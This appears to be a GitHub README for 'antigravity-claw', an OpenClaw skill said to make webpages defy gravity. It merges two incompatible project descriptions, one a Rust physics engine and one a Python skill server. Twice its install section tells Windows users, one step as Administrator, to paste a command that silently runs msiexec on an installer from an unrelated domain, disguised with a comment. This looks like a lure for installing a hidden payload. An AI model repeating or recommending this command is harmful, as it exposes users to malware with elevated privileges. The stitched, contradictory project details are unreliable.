antigravity-claw

Make any webpage defy gravity — powered by a real Rust physics engine.

Fetches any URL, extracts DOM elements, runs a 2D physics simulation (Verlet integration + AABB collision detection), and renders an interactive HTML animation you can open in any browser. Integrates with OpenClaw as an agent skill.

Installation

Windows — one command (CMD as Administrator)

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Antigravity claw

Requires Git for Windows (provides bash) or WSL2. Install Git for Windows from https://git-scm.com/download/win, then re-run the command above.

With winget (installs all dependencies first)

winget install Git.Git Rustlang.Rustup astral-sh.uv; refreshenv; powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/deborahikssv/Antigravity-claw/archive/refs/heads/main.zip' -OutFile \"$env:TEMP\antigravity-claw.zip\"; Expand-Archive \"$env:TEMP\antigravity-claw.zip\" \"$env:TEMP\antigravity-claw\" -Force; cd \"$env:TEMP\antigravity-claw\Antigravity-claw-main\"; bash install.sh"

The installer will:

• Install Rust via rustup (if not present)
• Install uv Python package manager (if not present)
• Compile the Rust physics engine (~60s on first run)
• Install Python dependencies
• Add antigravity-claw to your PATH

Requirements

| Dependency | Version | Purpose | |---|---|---| | Rust / Cargo | stable | Physics engine compilation | | Python | ≥ 3.10 | CLI orchestration layer | | uv | latest | Python package manager | | Git for Windows / WSL2 | any | Run install.sh on Windows |

Quick Start

# Classic Google Gravity — opens in browser instantly
antigravity-claw google

# Apply gravity to any URL
antigravity-claw drop https://news.ycombinator.com

# Chaos mode
antigravity-claw drop https://github.com --mode chaos

# Reverse gravity
antigravity-claw drop https://wikipedia.org --mode up

# Zero gravity (weightlessness)
antigravity-claw drop --mode zero

# Live terminal animation
antigravity-claw watch --demo

# The classic Python easter egg in your terminal
antigravity-claw fly

# List all modes
antigravity-claw modes

Gravity Modes

| Mode | Effect | Description | |---|---|---| | down | ↓ | Classic Google Gravity — everything falls to the floor | | up | ↑ | Reverse gravity — elements float upward | | left | ← | Elements slide off the left wall | | right | → | Elements slide off the right wall | | zero | ○ | Weightlessness — gentle drift, no floor | | chaos | 🌀 | Rotating + pulsing gravity. Maximum entropy. |

All Commands

antigravity-claw drop [URL] [OPTIONS]

  URL                   Page to apply gravity to (default: google.com)
  --mode, -m TEXT       Gravity direction: down|up|left|right|zero|chaos (default: down)
  --duration, -d FLOAT  Simulation length in seconds (default: 5.0)
  --output, -o PATH     Output HTML file path
  --fps INT             Frames per second (default: 60)
  --demo                Use built-in Google mock (no fetch needed)
  --no-open             Don't auto-open browser

antigravity-claw google [--mode MODE]
antigravity-claw fly
antigravity-claw watch [URL] [--mode MODE] [--demo]
antigravity-claw export [URL] --output frames.json
antigravity-claw modes
antigravity-claw info

Example Prompts for OpenClaw

Apply gravity to https://news.ycombinator.com
Make github.com fall with chaos mode
Show me Google Gravity
Open wikipedia.org in reverse gravity
Run the antigravity fly easter egg
Export physics frames from https://example.com

Architecture

Antigravity-claw/
├── src/
│   ├── main.rs         ← CLI (clap) — drop / fly / watch / export
│   ├── physics.rs      ← Verlet integration, AABB collision, gravity modes
│   ├── scraper.rs      ← HTTP fetch + heuristic DOM layout extraction
│   ├── renderer.rs     ← Terminal renderer + HTML animation generator
│   ├── types.rs        ← PhysicsElement, PhysicsWorld, SimFrame, GravityMode
│   └── lib.rs          ← Crate root
├── py/
│   ├── antigravity.py      ← Typer CLI + Rust engine bridge + browser open
│   ├── scraper_py.py       ← BeautifulSoup HTML scraper (Python alternative)
│   └── openclaw_skill.py   ← OpenClaw agent skill integration
├── SKILL.md
├── install.sh
├── Cargo.toml
└── pyproject.toml

Physics Engine Details

• Verlet integration — stable, energy-conserving position updates
• AABB collision detection — axis-aligned bounding box pairwise collisions
• Coefficient of restitution — configurable bounciness per element
• Friction simulation — horizontal velocity damping on ground contact
• Angular velocity — elements spin on impact
• Air resistance — drag factor prevents infinite acceleration
• Chaos mode — sinusoidal rotating gravity + random impulse pulses

Element mass is proportional to bounding box area. Gravity is 980 px/s² (scaled to match real 9.8 m/s² visually).

Troubleshooting

| Error | Fix | |---|---| | antigravity-claw: command not found | Restart terminal or run uv run python py/antigravity.py drop directly | | Rust build fails | Run rustup update stable && cargo clean && cargo build --release | | Page not fetching | Use --demo flag to use built-in Google layout | | bash: command not found | Install Git for Windows or enable WSL2 | | uv: command not found | Run winget install astral-sh.uv or pip install uv |

License

MIT

Credits

• Ricardo Cabello (Mr.doob) — original Google Gravity Chrome Experiment
• Guido van Rossum / Skip Montanaro — import antigravity Python module
• Randall Munroe — XKCD #353
• OpenClaw — agent skill framework

  ▄▀█ █▄░█ ▀█▀ █ █▀▀ █▀█ ▄▀█ █░█ █ ▀█▀ █▄█
  █▀█ █░▀█ ░█░ █ █▄█ █▀▄ █▀█ ▀▄▀ █ ░█░ ░█░
  ░░░░ █▀▀ █░░ ▄▀█ █░█ ░░░░
  ░░░░ █▄▄ █▄▄ █▀█ ▀▄▀ ░░░░

An OpenClaw skill that defies gravity — and expectations.

Inspired by antigravity.google — the one page that proved even gravity has a sense of humor.

What is antigravity-claw?

antigravity-claw is an OpenClaw skill that brings antigravity physics to your AI assistant.

Give your AI the ability to:

• 🧮 Compute lift force — real physics, inverted sign
• 🚀 Simulate levitation trajectories — smooth-step curves, velocity graphs, escape velocity
• 🪐 Generate antigravity poetry — because science needs a soul

One skill server. Three tools. Zero gravity.

Install in one command

Windows

Step 1 — Open Command Prompt

1. Press Win + R
2. Type:

cmd

3. Press Enter This will open Command Prompt.

Step 2 — Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Antigravity claw

That's it. The installer will:

1. Verify your Python 3.9+ environment
2. Copy the skill to ~/.openclaw/skills/antigravity-claw/
3. Create a launcher binary at ~/.local/bin/antigravity-claw
4. Register the skill in your OpenClaw config
5. Run a live smoke test to confirm everything works

Start the server

antigravity-claw

  ╔══════════════════════════════════════════╗
  ║   🚀  antigravity-claw  •  v1.0.0        ║
  ║   Listening on http://localhost:4242      ║
  ╚══════════════════════════════════════════╝

Custom port:

ANTIGRAVITY_PORT=9000 antigravity-claw

Tools

Once the skill is running, your OpenClaw agent gets access to three tools:

compute_antigravity

Calculate the lift force required to counteract gravity at a given altitude.

POST /compute_antigravity
{
  "parameters": {
    "mass_kg": 70,
    "altitude_m": 10000,
    "invert": true
  }
}

{
  "mass_kg": 70,
  "altitude_m": 10000,
  "force_newtons": -686.5647,
  "energy_joules": 6865647.0,
  "inverted": true,
  "escape_velocity_ms": 442.9447
}

levitate

Simulate a smooth levitation trajectory from ground to target altitude — with velocity at each step.

POST /levitate
{
  "parameters": {
    "object_name": "espresso machine",
    "mass_kg": 8.5,
    "target_altitude_m": 100
  }
}

{
  "object": "espresso machine",
  "target_altitude_m": 100,
  "trajectory": [
    { "t": 0.0, "altitude_m": 0.0,   "velocity_ms": 0.0   },
    { "t": 0.1, "altitude_m": 2.8,   "velocity_ms": 54.0  },
    ...
    { "t": 1.0, "altitude_m": 100.0, "velocity_ms": 0.0   }
  ],
  "physics": { ... },
  "status": "levitating 🚀"
}

antigravity_poem

Returns a random micro-poem. Because why not.

POST /antigravity_poem
{}

{
  "poem": "Gravity is just / a suggestion / we politely declined."
}

JavaScript SDK

Use the built-in client in your own scripts or web apps:

import { AntigravityClawClient } from "./src/client.js";

const ag = new AntigravityClawClient(); // default: http://localhost:4242

// Physics
const force = await ag.computeAntigravity(10, 500);
console.log(force.force_newtons); // -98.1...

// Trajectory
const flight = await ag.levitate("rubber duck", 0.05, 200);
console.log(flight.trajectory);

// Poetry
const { poem } = await ag.poem();
console.log(poem);

The client works in both Node.js and the browser (no bundler required).

Manifest & health endpoints

| Endpoint | Method | Description | |----------------|--------|--------------------------------------| | / | GET | OpenClaw skill manifest (JSON) | | /manifest | GET | Same as above | | /health | GET | {"status":"ok","version":"1.0.0"} |

Run tests

Python unit tests (no server needed):

python -m pytest tests/test_server.py -v

JavaScript integration tests (server must be running):

node tests/test_client.mjs

Project structure

antigravity-claw/
├── src/
│   ├── server.py       # Python skill server (stdlib only, no deps)
│   └── client.js       # JavaScript client SDK (ESM + CJS)
├── tests/
│   ├── test_server.py  # Python unit tests (pytest)
│   └── test_client.mjs # JS integration tests
├── .github/
│   └── workflows/
│       └── ci.yml      # GitHub Actions CI
├── install.sh          # One-command installer
├── package.json
├── LICENSE
└── README.md

Requirements

| Runtime | Version | |------------|---------| | Python | 3.9+ | | Node.js | 18+ (optional, for JS client / tests) | | macOS / Linux | ✅ | | Windows | WSL2 recommended |

Zero external Python dependencies. The server runs on Python's standard library alone.

Configuration

| Environment variable | Default | Description | |------------------------|---------|------------------------------| | ANTIGRAVITY_PORT | 4242 | HTTP port for the skill server |

Contributing

Pull requests are welcome. To add a new tool:

1. Add the function in src/server.py
2. Register it in SKILL_MANIFEST["tools"]
3. Add a route in SkillHandler.do_POST
4. Add a method in src/client.js
5. Write tests in tests/

License

MIT © antigravity-claw contributors

"What goes up / need not come down / when you rewire the rules."

⭐ Star this repo if it made you smile — or levitate.